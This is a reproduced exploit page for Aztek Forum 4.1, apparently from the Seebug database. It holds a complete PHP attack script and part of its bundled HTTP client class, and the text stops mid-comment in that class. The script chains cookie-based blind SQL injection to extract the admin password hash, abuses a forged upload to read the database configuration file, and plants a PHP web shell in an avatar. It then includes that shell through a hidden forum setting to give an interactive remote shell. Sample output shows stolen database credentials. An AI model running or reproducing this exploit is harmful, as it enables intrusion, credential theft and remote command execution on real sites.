Lucene search
K

Aztek Forum 4.1 Multiple Vulnerabilities Exploit

🗓️ 26 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Aztek Forum 4.1 Multiple Vulnerabilities Exploi

Code

                                                #!/usr/bin/php
<?php

error_reporting(E_ALL&#160;^&#160;E_NOTICE);

/*
&#160;header>&#160;&#160;Aztek&#160;Forum&#160;4.1&#160;Multiple&#160;Vulnerabilities&#160;Exploit
&#160;header>&#160;==================================================
&#160;sploit>&#160;Owner&#160;->&#160;root
&#160;status>&#160;Trying&#160;to&#160;register&#160;a&#160;new&#160;user
&#160;sploit>&#160;Login/Password&#160;->&#160;phpsploit8435
&#160;status>&#160;Trying&#160;to&#160;get&#160;database&#160;informations
&#160;sploit>&#160;Full&#160;Path&#160;Disclosure&#160;->&#160;/home/www/aztekforum/forum/load.php
&#160;sploit>&#160;Done&#160;(./avatar/phpsploit8435.jpg)
&#160;sploit>&#160;$dbhost&#160;->&#160;localhost
&#160;sploit>&#160;$usebdd&#160;->&#160;aztek
&#160;sploit>&#160;$user&#160;->&#160;root
&#160;sploit>&#160;$password&#160;->&#160;toor
&#160;sploit>&#160;$salt&#160;->&#160;atk
&#160;status>&#160;Trying&#160;to&#160;get&#160;the&#160;administrator&#160;login/passwd
&#160;sploit>&#160;Username&#160;length&#160;7
&#160;sploit>&#160;Username&#160;->&#160;darkfig
&#160;sploit>&#160;Password&#160;length&#160;13
&#160;sploit>&#160;Password&#160;->&#160;atovlv6iH1rUo
&#160;sploit>&#160;Salt&#160;->&#160;atk&#160;(Standard&#160;DES&#160;hash)
&#160;sploit>&#160;Enter&#160;the&#160;decrypted&#160;password&#160;to&#160;continue:&#160;hello
&#160;status>&#160;Uploading&#160;a&#160;malicious&#160;picture
&#160;status>&#160;Trying&#160;to&#160;get&#160;logged&#160;in
&#160;sploit>&#160;Done
&#160;status>&#160;Creating&#160;a&#160;hidden&#160;forum
&#160;sploit>&#160;Done
&#160;status>&#160;Trying&#160;to&#160;include&#160;the&#160;picture
&#160;$shell>&#160;whoami
&#160;DarkFig

&#160;$shell>&#160;exit
*/
if($argc&#160;<&#160;2)
{
	print&#160;\"\\n---------------------------------------------------------\";
	print&#160;\"\\nAffected.scr..:&#160;Aztek&#160;Forum&#160;V4.1\";
	print&#160;\"\\nPoc.ID........:&#160;21070125\";
	print&#160;\"\\nType..........:&#160;Multiple&#160;vulnerability\";
	print&#160;\"\\nConditions....:&#160;None&#160;=)\";
	print&#160;\"\\nRisk.level....:&#160;High\";
	print&#160;\"\\nSrc.download..:&#160;www.forum-aztek.com\";
	print&#160;\"\\nPoc.link......:&#160;acid-root.new.fr/poc/21070125.txt\";
	print&#160;\"\\nCredits.......:&#160;DarkFig\";
	print&#160;\"\\n---------------------------------------------------------\";
	print&#160;\"\\nUsage.........:&#160;php&#160;xpl.php&#160;<url>&#160;<proxyoptions>\";
	print&#160;\"\\nProxyOptions..:&#160;<proxhost:proxport>&#160;<proxuser:proxpass>\";
	print&#160;\"\\nExample.......:&#160;php&#160;xpl.php&#160;http://victim.com/\";
	print&#160;\"\\n---------------------------------------------------------\";
	exit(1);
}

/*

&#160;---[&#160;CODE&#160;./common/config.php
&#160;-----------------------------
&#160;@extract($_POST);	//&#160;Variables&#160;en&#160;POST
&#160;@extract($_GET);	//&#160;Variables&#160;en&#160;GET
&#160;@extract($_COOKIE);	//&#160;Variable&#160;des&#160;cookies
&#160;@extract($_SERVER);	//&#160;Variable&#160;Server
&#160;-----------------------------
&#160;|
&#160;+->&#160;All&#160;variables&#160;initialized&#160;before&#160;the&#160;inclusion&#160;can&#160;be&#160;overwritten.

&#160;
&#160;---[&#160;CODE&#160;./common/safety.php
&#160;-----------------------------
&#160;$BANNED_STRING[]&#160;=&#160;\"%22\";
&#160;$BANNED_STRING[]&#160;=&#160;\"%23\";
&#160;$BANNED_STRING[]&#160;=&#160;\"%47\";
&#160;...
&#160;foreach($_GET&#160;as&#160;$key=>$value)&#160;...
&#160;$_POST[$key]&#160;=&#160;str_replace($BANNED_STRING[$i],&#160;\"\",&#160;$_POST[$key]);
&#160;$$key&#160;=&#160;$_POST[$key];
&#160;...
&#160;foreach($_POST&#160;as&#160;$key=>$value)&#160;...
&#160;$_GET[$key]&#160;=&#160;str_replace($BANNED_STRING[$i],&#160;\"\",&#160;$_GET[$key]);
&#160;$$key&#160;=&#160;$_GET[$key];
&#160;-----------------------------
&#160;|
&#160;+->&#160;Filter&#160;can&#160;be&#160;bypassed&#160;with&#160;extract($_COOKIE)
&#160;
&#160;
&#160;---[&#160;CODE&#160;./forum/load.php
&#160;--------------------------
&#160;if(!empty($fid))&#160;$FORUM=$fid;
&#160;...
&#160;$sql=dbquery(\"SELECT&#160;*&#160;FROM&#160;atk_forums&#160;WHERE&#160;id=$FORUM\",33,29);
&#160;$PF=mysql_fetch_array($sql);
&#160;--------------------------
&#160;|
&#160;+->&#160;Blind&#160;SQL&#160;Injection&#160;without&#160;quote

&#160;&#160;
&#160;---[&#160;CODE&#160;./index/main.php
&#160;--------------------------
&#160;if($PF[\"top_url\"])&#160;@include($PF[\"top_url\"]);
&#160;--------------------------
&#160;|
&#160;+->&#160;Remote&#160;File&#160;Inclusion&#160;(admin&#160;rights&#160;needed&#160;in&#160;order&#160;to&#160;insert&#160;\"top_url\"&#160;in&#160;\"atk_forums\")
&#160;
&#160;
&#160;---[&#160;CODE&#160;./index/common_actions.php
&#160;------------------------------------
&#160;$file&#160;=&#160;$_FILES[\'upload\'][\'tmp_name\'];&#160;...
&#160;if(@copy($file,$path_file))&#160;$avatar=$path_file;
&#160;------------------------------------
&#160;|
&#160;+->&#160;$_FILES&#160;can&#160;be&#160;overwritten&#160;(with&#160;extract()),&#160;this&#160;can&#160;lead&#160;to&#160;file&#160;disclosure&#160;=).
&#160;
&#160;*/
$url=$argv[1];$prs=$argv[2];
$pra=$argv[3];

$xpl&#160;=&#160;new&#160;phpsploit();
if(!empty($prs))&#160;$xpl->proxy($prs);
if(!empty($pra))&#160;$xpl->proxyauth($pra);

print&#160;\"\\nheader>&#160;&#160;Aztek&#160;Forum&#160;4.1&#160;Multiple&#160;Vulnerabilities&#160;Exploit\";
print&#160;\"\\nheader>&#160;==================================================\";

if(preg_match(\"#href=\'\\./index\\.php\\?owner=(\\S*)\'#i\",$xpl->getcontent($xpl->get($url.\'forum.php?fid=-1%20or%201=1\')),$matches))&#160;print&#160;\"\\nsploit>&#160;Owner&#160;->&#160;\".$matches[1];
else&#160;die(\"\\nsploit>&#160;Exploit&#160;failed\");
$owner&#160;=&#160;$matches[1];

print&#160;\"\\nstatus>&#160;Trying&#160;to&#160;register&#160;a&#160;new&#160;user\";
$xpl->cookiejar(1);
$xpl->allowredirection(1);
$name&#160;=&#160;\"phpsploit\".rand();
$xpl->post($url.\"index.php?owner=$owner&action=subscribe\",\"login=$name&passwd=$name&passwd2=$name&email=$name%40hotmail.coum&show_email=on&cookie=on\");
print&#160;\"\\nsploit>&#160;Login/Password&#160;->&#160;$name\";

print&#160;\"\\nstatus>&#160;Trying&#160;to&#160;get&#160;database&#160;informations\";
$xpl->get($url.\"forum.php?fid=XD\");
if(preg_match(\"#file&#160;(.*)&#160;in&#160;function#i\",$xpl->getcontent(),$matches))&#160;print&#160;\"\\nsploit>&#160;Full&#160;Path&#160;Disclosure&#160;->&#160;\".$matches[1];
else&#160;print(\"\\nsploit>&#160;Failed\");
$wanted&#160;=&#160;str_replace(\"forum/load.php\",\"common/bddconf.php\",$matches[1]);

if(!empty($wanted)){
$xpl->get($url.\"index.php?owner=$owner&action=profile&_SERVER[email]=$name%40hotmail.coum&_FILES[upload][tmp_name]=$wanted&_FILES[upload][name]=0123456789&_FILES[upload][type]=jpg\");
$xpl->get($url.\"index.php?owner=$owner&choix=3\");
if(preg_match(\"#<IMG&#160;src=\'(.*)\'&#160;width=\'([0-9]*)\'&#160;height=\'([0-9]*)\'>#i\",$xpl->getcontent(),$matches))&#160;print&#160;\"\\nsploit>&#160;Done&#160;(\".$matches[1].\")\";
else&#160;print(\"\\nsploit>&#160;Failed\");
$avatarur&#160;=&#160;$matches[1];
if(!empty($matches[1])){
$xpl->get($url.str_replace(\"./\",\"/\",$matches[1]));
preg_match_all(\"#(.*)=\'(.*)\';#\",$xpl->getcontent(),$vars);
for($z=0;$z<=4;$z++){
print&#160;\"\\nsploit>&#160;\".strtolower($vars[1][$z]).\"&#160;->&#160;\".$vars[2][$z];
}}}

print&#160;\"\\nstatus>&#160;Trying&#160;to&#160;get&#160;the&#160;administrator&#160;login/passwd\";
$headers&#160;=&#160;array(\"Username\",\"Password\");
$fields&#160;&#160;=&#160;array(\"login\",\"passwd\");
$value=$length=array();

for($a=0;$a<2;$a++){

print&#160;\"\\nsploit>&#160;\".$headers[$a].\"&#160;length&#160;\";
for($b=1;$b<3;$b++){
for($c=48;$c<=57;$c++){
$xpl->addcookie(\"fid\",\"-1%20OR%20SUBSTR(LENGTH((SELECT%20\".$fields[$a].\"%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201)),$b,1)=CHAR($c)\");
if(!preg_match(\"#<TITLE></TITLE>#i\",$xpl->getcontent($xpl->get($url.\"forum.php\"))))&#160;{
&#160;&#160;&#160;$length[$a]&#160;.=&#160;chr($c);
&#160;&#160;&#160;print&#160;chr($c);
&#160;&#160;&#160;break;
}}}

print&#160;\"\\nsploit>&#160;\".$headers[$a].\"&#160;->&#160;\";
for($d=1;$d<=$length[$a];$d++){
for($e=0;$e<=128;$e++){
$xpl->addcookie(\"fid\",\"-1%20OR%20HEX(SUBSTR((SELECT%20\".$fields[$a].\"%20FROM%20atk_users%20WHERE%20(admin)%20LIMIT%201),$d,1))=HEX(CHAR($e))\");
if(!preg_match(\"#<TITLE></TITLE>#i\",$xpl->getcontent($xpl->get($url.\"forum.php\"))))&#160;{
&#160;&#160;&#160;$value[$a]&#160;.=&#160;chr($e);
&#160;&#160;&#160;print&#160;chr($e);
&#160;&#160;&#160;break;
}}}}

$salt&#160;=&#160;!empty($vars[2][4])&#160;?&#160;$vars[2][4]&#160;:&#160;\'atk\';&#160;#&#160;Always&#160;the&#160;same&#160;salt&#160;...
print&#160;\"\\nsploit>&#160;Salt&#160;->&#160;$salt&#160;(Standard&#160;DES&#160;hash)\";
print&#160;\"\\nsploit>&#160;Enter&#160;the&#160;decrypted&#160;password&#160;to&#160;continue:&#160;\";
$password&#160;=&#160;trim(fgets(STDIN));
$xpl->addcookie(\"fid\",\"-1&#160;or&#160;1=1\");
$xpl->cookiejar(1);

print&#160;\"status>&#160;Uploading&#160;a&#160;malicious&#160;picture\";
$formdata&#160;=&#160;array(frmdt_url&#160;=>&#160;$url.\"?owner=$owner&action=profile\",
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;\"email\"&#160;&#160;&#160;=>&#160;\"[email protected]\",
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;\"url\"&#160;&#160;&#160;&#160;&#160;=>&#160;\"http://\",
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;\"upload\"&#160;&#160;=>&#160;array(frmdt_type&#160;&#160;&#160;&#160;&#160;=>&#160;\"image/jpg\",
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_filename&#160;=>&#160;\"hello.jpg\",
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;frmdt_content&#160;&#160;=>&#160;\"<?php&#160;print&#160;337666733;@extract(\\$_SERVER);@system(\\$HTTP_REFERER);print&#160;337666733;exit(0);&#160;?>\"),
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;\"avatar\"&#160;&#160;=>&#160;\"./avatar/welcome.jpg\");
$xpl->formdata($formdata);

print&#160;\"\\nstatus>&#160;Trying&#160;to&#160;get&#160;logged&#160;in\";
$xpl->post($url.\'myadmin.php?action=login\',\'login=\'.$value[0].\'&passwd=\'.$password);
if(preg_match(\"#ATK_ADMIN#i\",$xpl->showcookie()))&#160;print&#160;\"\\nsploit>&#160;Done\";
else&#160;die(\"\\nsploit>&#160;Exploit&#160;failed\");

print&#160;\"\\nstatus>&#160;Creating&#160;a&#160;hidden&#160;forum\";
$xpl->get($url.\'myadmin.php?choix=2\');
if(!preg_match(\"#<option&#160;value=\'(\\S+)\'#\",$xpl->getcontent(),$styles))&#160;$styles[1]&#160;=&#160;\"xml_BlueLight\";
$xpl->post($url.\'myadmin.php?action=create\',\"title=$name&filename=$name&passwd=&style=\".$styles[1].\"&structure=1&subject=\");
$xpl->get($url.\'myadmin.php?choix=1\');
if(!preg_match_all(\"#action=hide_forum&id=([0-9]+)#\",$xpl->getcontent(),$fid))&#160;die(\"\\nsploit>&#160;Can\'t&#160;retrieve&#160;the&#160;forum&#160;id\");
$forumid&#160;=&#160;$fid[1][(count($fid[1])-1)];
$xpl->get($url.\"myadmin.php?choix=1&action=hide_forum&id=$forumid\");

print&#160;\"\\nsploit>&#160;Done\\nstatus>&#160;Trying&#160;to&#160;include&#160;the&#160;picture\\n\\$shell>&#160;\";
if(empty($avatarur))&#160;$avatarur=\"./avatar/$name.jpg\";&#160;
$xpl->post($url.\"myadmin.php?action=rec_perso&id=$forumid&choix=3\",\"PARAM%5Btop_url%5D=$avatarur\");
$xpl->reset();

while(!preg_match(\"#^(quit|exit)$#\",($cmd&#160;=&#160;trim(fgets(STDIN)))))
{
&#160;&#160;&#160;&#160;$xpl->addheader(\"Referer\",$cmd);
&#160;&#160;&#160;&#160;$xpl->get($url.$name.\'.php\');
&#160;&#160;&#160;&#160;$data&#160;=&#160;explode(\"337666733\",$xpl->getcontent());
&#160;&#160;&#160;&#160;print&#160;$data[1].\"\\n\\$shell>&#160;\";
}

/*
&#160;*&#160;
&#160;*&#160;Copyright&#160;(C)&#160;darkfig
&#160;*&#160;
&#160;*&#160;This&#160;program&#160;is&#160;free&#160;software;&#160;you&#160;can&#160;redistribute&#160;it&#160;and/or&#160;
&#160;*&#160;modify&#160;it&#160;under&#160;the&#160;terms&#160;of&#160;the&#160;GNU&#160;General&#160;Public&#160;License&#160;
&#160;*&#160;as&#160;published&#160;by&#160;the&#160;Free&#160;Software&#160;Foundation;&#160;either&#160;version&#160;2&#160;
&#160;*&#160;of&#160;the&#160;License,&#160;or&#160;(at&#160;your&#160;option)&#160;any&#160;later&#160;version.&#160;
&#160;*&#160;
&#160;*&#160;This&#160;program&#160;is&#160;distributed&#160;in&#160;the&#160;hope&#160;that&#160;it&#160;will&#160;be&#160;useful,&#160;
&#160;*&#160;but&#160;WITHOUT&#160;ANY&#160;WARRANTY;&#160;without&#160;even&#160;the&#160;implied&#160;warranty&#160;of&#160;
&#160;*&#160;MERCHANTABILITY&#160;or&#160;FITNESS&#160;FOR&#160;A&#160;PARTICULAR&#160;PURPOSE.&#160;&#160;See&#160;the&#160;
&#160;*&#160;GNU&#160;General&#160;Public&#160;License&#160;for&#160;more&#160;details.&#160;
&#160;*&#160;
&#160;*&#160;You&#160;should&#160;have&#160;received&#160;a&#160;copy&#160;of&#160;the&#160;GNU&#160;General&#160;Public&#160;License&#160;
&#160;*&#160;along&#160;with&#160;this&#160;program;&#160;if&#160;not,&#160;write&#160;to&#160;the&#160;Free&#160;Software&#160;
&#160;*&#160;Foundation,&#160;Inc.,&#160;59&#160;Temple&#160;Place&#160;-&#160;Suite&#160;330,&#160;Boston,&#160;MA&#160;&#160;02111-1307,&#160;USA.
&#160;*&#160;
&#160;*&#160;TITLE:&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;PhpSploit&#160;Class
&#160;*&#160;REQUIREMENTS:&#160;&#160;&#160;PHP&#160;5&#160;(remove&#160;\"private\",&#160;\"public\"&#160;if&#160;you&#160;have&#160;PHP&#160;4)
&#160;*&#160;VERSION:&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;1.2
&#160;*&#160;LICENSE:&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;GNU&#160;General&#160;Public&#160;License
&#160;*&#160;ORIGINAL&#160;URL:&#160;&#160;&#160;http://www.acid-root.new.fr/tools/03061230.txt
&#160;*&#160;FILENAME:&#160;&#160;&#160;&#160;&#160;&#160;&#160;phpsploitclass.php
&#160;*
&#160;*&#160;CONTACT:&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;[email protected]&#160;(french&#160;/&#160;english)
&#160;*&#160;GREETZ:&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Sparah,&#160;Ddx39
&#160;*
&#160;*&#160;DESCRIPTION:
&#160;*&#160;The&#160;phpsploit&#160;is&#160;a&#160;class&#160;implementing&#160;a&#160;web&#160;user&#160;agent.
&#160;*&#160;You&#160;can&#160;add&#160;cookies,&#160;headers,&#160;use&#160;a&#160;proxy&#160;server&#160;with&#160;(or&#160;without)&#160;a
&#160;*&#160;basic&#160;authentification.&#160;It&#160;supports&#160;the&#160;GET&#160;and&#160;the&#160;POST&#160;method.&#160;It&#160;can
&#160;*&#160;also&#160;be&#160;used&#160;like&#160;a&#160;browser&#160;with&#160;the&#160;cookiejar()&#160;function&#160;(which&#160;allow
&#160;*&#160;a&#160;server&#160;to&#160;add&#160;several&#160;cookies&#160;for&#160;the&#160;next&#160;requests)&#160;and&#160;the
&#160;*&#160;allowredirection()&#160;function&#160;(which&#160;allow&#160;the&#160;script&#160;to&#160;follow&#160;all
&#160;*&#160;redirections&#160;sent&#160;by&#160;the&#160;server).&#160;It&#160;can&#160;return&#160;the&#160;content&#160;(or&#160;the
&#160;*&#160;headers)&#160;of&#160;the&#160;request.&#160;Others&#160;useful&#160;functions&#160;can&#160;be&#160;used&#160;for&#160;debugging.
&#160;*&#160;A&#160;manual&#160;is&#160;actually&#160;in&#160;development&#160;but&#160;to&#160;know&#160;how&#160;to&#160;use&#160;it,&#160;you&#160;can
&#160;*&#160;read&#160;the&#160;comments.
&#160;*
&#160;*&#160;CHANGELOG:
&#160;*&#160;[2007-01-24]&#160;(1.2)
&#160;*&#160;&#160;*&#160;Bug&#160;#2&#160;fixed:&#160;Problem&#160;concerning&#160;the&#160;getcookie()&#160;function&#160;((|;))
&#160;*&#160;&#160;*&#160;New:&#160;multipart/form-data&#160;enctype&#160;is&#160;now&#160;supported&#160;
&#160;*
&#160;*&#160;[2006-12-31]&#160;(1.1)
&#160;*&#160;&#160;*&#160;Bug&#160;#1&#160;fixed:&#160;Problem&#160;concerning&#160;the&#160;allowredirection()&#160;function&#160;(chr(13)&#160;bug)
&#160;*&#160;&#160;*&#160;New:&#160;You&#160;can&#160;now&#160;call&#160;the&#160;getheader()&#160;/&#160;getcontent()&#160;function&#160;without&#160;parameters
&#160;*
&#160;*&#160;[2006-12-30]&#160;(1.0)
&#160;*&#160;&#160;*&#160;First&#160;version
&#160;*&#160;
&#160;*/

class&#160;phpsploit&#160;{

	/**
	&#160;*&#160;This&#160;function&#160;is&#160;called&#160;by&#160;the&#160;get()/post()&#160;functions.
	&#160;*&#160;You&#160;don\'t&#160;have&#160;to&#160;call&#160;it,&#160;this&#160;is&#160;the&#160;main&#160;function.
	&#160;*
	&#160;*&#160;@return&#160;$server_response
	&#160;*/
	private&#160;function&#160;sock()
	{
		if(!empty($this->proxyhost)&#160;&&&#160;!empty($this->proxyport))&#160;$socket&#160;=&#160;fsockopen($this->proxyhost,$this->proxyport);
		else&#160;$socket&#160;=&#160;fsockopen($this->host,$this->port);
		
		if(!$socket)&#160;die(\"Error:&#160;The&#160;host&#160;doesn\'t&#160;exist\");
		
		if($this->method===\"get\")&#160;$this->packet&#160;=&#160;\"GET&#160;\".$this->url.\"&#160;HTTP/1.1\\r\\n\";
		elseif($this->method===\"post\"&#160;or&#160;$this->method===\"formdata\")&#160;$this->packet&#160;=&#160;\"POST&#160;\".$this->url.&#160;\"&#160;HTTP/1.1\\r\\n\";
		else&#160;die(\"Error:&#160;Invalid&#160;method\");
		
		if(!empty($this->proxyuser))&#160;$this->packet&#160;.=&#160;\"Proxy-Authorization:&#160;Basic&#160;\".base64_encode($this->proxyuser.\":\".$this->proxypass).\"\\r\\n\";
		$this->packet&#160;.=&#160;\"Host:&#160;\".$this->host.\"\\r\\n\";
		
		if(!empty($this->agent))&#160;&#160;$this->packet&#160;.=&#160;\"User-Agent:&#160;\".$this->agent.\"\\r\\n\";
		if(!empty($this->header))&#160;$this->packet&#160;.=&#160;$this->header.\"\\r\\n\";
		if(!empty($this->cookie))&#160;$this->packet&#160;.=&#160;\"Cookie:&#160;\".$this->cookie.\"\\r\\n\";
		
		$this->packet&#160;.=&#160;\"Connection:&#160;Close\\r\\n\";
		if($this->method===\"post\")
		{
			$this->packet&#160;.=&#160;\"Content-Type:&#160;application/x-www-form-urlencoded\\r\\n\";
			$this->packet&#160;.=&#160;\"Content-Length:&#160;\".strlen($this->data).\"\\r\\n\\r\\n\";
			$this->packet&#160;.=&#160;$this->data.\"\\r\\n\";
		}
		elseif($this->method===\"formdata\")
		{
			$this->packet&#160;.=&#160;\"Content-Type:&#160;multipart/form-data;&#160;boundary=---------------------------\".$this->boundary.\"\\r\\n\";
			$this->packet&#160;.=&#160;\"Content-Length:&#160;\".strlen($this->data).\"\\r\\n\\r\\n\";
			$this->packet&#160;.=&#160;$this->data;
		}
		$this->packet&#160;.=&#160;\"\\r\\n\";
		$this->recv&#160;=&#160;\'\';
		
		fputs($socket,$this->packet);
		while(!feof($socket))&#160;$this->recv&#160;.=&#160;fgets($socket);
		fclose($socket);
		
		if($this->cookiejar)&#160;$this->cookiejar($this->getheader($this->recv));
		if($this->allowredirection)&#160;return&#160;$this->allowredirection($this->recv);
		else&#160;return&#160;$this->recv;
	}
	

	/**
	&#160;*&#160;This&#160;function&#160;allows&#160;you&#160;to&#160;add&#160;several&#160;cookie&#160;in&#160;the
	&#160;*&#160;request.&#160;Several&#160;methods&#160;are&#160;supported:
	&#160;*&#160;
	&#160;*&#160;$this->addcookie(\"name\",\"value\");
	&#160;*&#160;or
	&#160;*&#160;$this->addcookie(\"name=newvalue\");
	&#160;*&#160;or
	&#160;*&#160;$this->addcookie(\"othername=overvalue;&#160;xx=zz;&#160;y=u\");
	&#160;*&#160;
	&#160;*&#160;@param&#160;string&#160;$cookiename
	&#160;*&#160;@param&#160;string&#160;$cookievalue
	&#160;*&#160;
	&#160;*/
	public&#160;function&#160;addcookie($cookn,$cookv=\'\')
	{
		//&#160;$this->addcookie(\"name\",\"value\");&#160;work&#160;avec&#160;replace
		if(!empty($cookv))
		{
			if($cookv&#160;===&#160;\"deleted\")&#160;$cookv=\'\';&#160;//&#160;cookiejar(1)&#160;&&&#160;Set-Cookie:&#160;name=delete
			if(!empty($this->cookie))
			{
			&#160;&#160;&#160;&#160;if(preg_match(\"/$cookn=/\",$this->cookie))
			&#160;&#160;&#160;&#160;{
			&#160;&#160;&#160;&#160;	$this->cookie&#160;=&#160;preg_replace(\"/$cookn=(\\S*);/\",\"$cookn=$cookv;\",$this->cookie);
			&#160;&#160;&#160;&#160;}
			&#160;&#160;&#160;&#160;else
			&#160;&#160;&#160;&#160;{
			&#160;&#160;&#160;&#160;	$this->cookie&#160;.=&#160;\"&#160;\".$cookn.\"=\".$cookv.\";\";&#160;//&#160;\"&#160;\".
			&#160;&#160;&#160;&#160;}
			}
			else
			{
				$this->cookie&#160;=&#160;$cookn.\"=\".$cookv.\";\";
			}
		}
		//&#160;$this->addcookie(\"name=value;&#160;othername=othervalue\");
		else
		{
	&#160;&#160;&#160;&#160;	&#160;if(!empty($this->cookie))
	&#160;&#160;&#160;&#160;	&#160;{
	&#160;&#160;&#160;&#160;	&#160;	$cookn&#160;=&#160;preg_replace(\"/(.*);$/\",\"$1\",$cookn);
	&#160;&#160;&#160;&#160;	&#160;	$cookarr&#160;=&#160;explode(\";\",str_replace(\"&#160;\",&#160;\"\",$cookn));
	&#160;&#160;&#160;&#160;	&#160;	for($i=0;$i<count($cookarr);$i++)
	&#160;&#160;&#160;&#160;	&#160;	{
	&#160;&#160;&#160;&#160;	&#160;		preg_match(\"/(\\S*)=(\\S*)/\",$cookarr[$i],$matches);
	&#160;&#160;&#160;&#160;	&#160;		$cookn&#160;=&#160;$matches[1];
	&#160;&#160;&#160;&#160;	&#160;		$cookv&#160;=&#160;$matches[2];
	&#160;&#160;&#160;&#160;	&#160;		$this->addcookie($cookn,$cookv);
	&#160;&#160;&#160;&#160;	&#160;	}
	&#160;&#160;&#160;&#160;	&#160;}
			&#160;else
			&#160;{
			&#160;	$cookn&#160;=&#160;((substr($cookn,(strlen($cookn)-1),1))===\";\")&#160;?&#160;$cookn&#160;:&#160;$cookn.\";\";
			&#160;	$this->cookie&#160;=&#160;$cookn;			
			&#160;}
		}
	}
	
	
	/**
	&#160;*&#160;This&#160;function&#160;allows&#160;you&#160;to&#160;add&#160;several&#160;headers&#160;in&#160;the
	&#160;*&#160;request.&#160;Several&#160;methods&#160;are&#160;supported:
	&#160;*
	&#160;*&#160;$this->addheader(\"headername\",\"headervalue\");
	&#160;*&#160;or
	&#160;*&#160;$this->addheader(\"headername:&#160;headervalue\");
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$headername
	&#160;*&#160;@param&#160;string&#160;$headervalue
	&#160;*/
	public&#160;function&#160;addheader($headern,$headervalue=\'\')
	{
		//&#160;$this->addheader(\"name\",\"value\");
		if(!empty($headervalue))
		{
			if(!empty($this->header))
			{
				if(preg_match(\"/$headern:/\",$this->header))
				{
					$this->header&#160;=&#160;preg_replace(\"/$headern:&#160;(\\S*)/\",\"$headern:&#160;$headervalue\",$this->header);
				}
				else
				{
					$this->header&#160;.=&#160;\"\\r\\n\".$headern.\":&#160;\".$headervalue;
				}
			}
			else
			{
				$this->header=$headern.\":&#160;\".$headervalue;
			}
		}
		//&#160;$this->addheader(\"name:&#160;value\");
		else&#160;
		{
			if(!empty($this->header))
			{
				$headarr&#160;=&#160;explode(\":&#160;\",$headern);
				$headern&#160;=&#160;$headarr[0];
				$headerv&#160;=&#160;$headarr[1];
				$this->addheader($headern,$headerv);
			}
			else
			{
				$this->header=$headern;
			}
		}
	}
	

	/**
	&#160;*&#160;This&#160;function&#160;allows&#160;you&#160;to&#160;use&#160;an&#160;http&#160;proxy&#160;server.
	&#160;*&#160;Several&#160;methods&#160;are&#160;supported:
	&#160;*&#160;
	&#160;*&#160;$this->proxy(\"proxyip\",\"8118\");
	&#160;*&#160;or
	&#160;*&#160;$this->proxy(\"proxyip:8118\")
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$proxyhost
	&#160;*&#160;@param&#160;integer&#160;$proxyport
	&#160;*/
	public&#160;function&#160;proxy($proxy,$proxyp=\'\')
	{
		//&#160;$this->proxy(\"localhost:8118\");
		if(empty($proxyp))
		{
			preg_match(\"/^(\\S*):(\\d+)$/\",$proxy,$proxarr);
			$proxh&#160;=&#160;$proxarr[1];
			$proxp&#160;=&#160;$proxarr[2];
			$this->proxyhost=$proxh;
			$this->proxyport=$proxp;
		}
		//&#160;$this->proxy(\"localhost\",8118);
		else&#160;
		{
			$this->proxyhost=$proxy;
			$this->proxyport=intval($proxyp);
		}
		if($this->proxyport&#160;>&#160;65535)&#160;die(\"Error:&#160;Invalid&#160;port&#160;number\");
	}
	

	/**
	&#160;*&#160;This&#160;function&#160;allows&#160;you&#160;to&#160;use&#160;an&#160;http&#160;proxy&#160;server
	&#160;*&#160;which&#160;requires&#160;a&#160;basic&#160;authentification.&#160;Several
	&#160;*&#160;methods&#160;are&#160;supported:
	&#160;*&#160;
	&#160;*&#160;$this->proxyauth(\"darkfig\",\"dapasswd\");
	&#160;*&#160;or
	&#160;*&#160;$this->proxyauth(\"darkfig:dapasswd\");
	&#160;*
	&#160;*&#160;@param&#160;string&#160;$proxyuser
	&#160;*&#160;@param&#160;string&#160;$proxypass
	&#160;*/
	public&#160;function&#160;proxyauth($proxyauth,$proxypasse=\'\')
	{
		//&#160;$this->proxyauth(\"darkfig:password\");
		if(empty($proxypasse))
		{
			preg_match(\"/^(.*):(.*)$/\",$proxyauth,$proxautharr);
			$proxu&#160;=&#160;$proxautharr[1];
			$proxp&#160;=&#160;$proxautharr[2];
			$this->proxyuser=$proxu;
			$this->proxypass=$proxp;
		}
		//&#160;$this->proxyauth(\"darkfig\",\"password\");
		else
		{
			$this->proxyuser=$proxyauth;
			$this->proxypass=$proxypasse;
		}
	}

	
	/**
	&#160;*&#160;This&#160;function&#160;allows&#160;you&#160;to&#160;set&#160;the&#160;\"User-Agent\"&#160;header.
	&#160;*&#160;Several&#160;methods&#160;are&#160;possible&#160;to&#160;do&#160;that:
	&#160;*&#160;
	&#160;*&#160;$this->agent(\"Mozilla&#160;Firefox\");
	&#160;*&#160;or
	&#160;*&#160;$this->addheader(\"User-Agent:&#160;Mozilla&#160;Firefox\");
	&#160;*&#160;or
	&#160;*&#160;$this->addheader(\"User-Agent\",\"Mozilla&#160;Firefox\");
	&#160;*&#160;
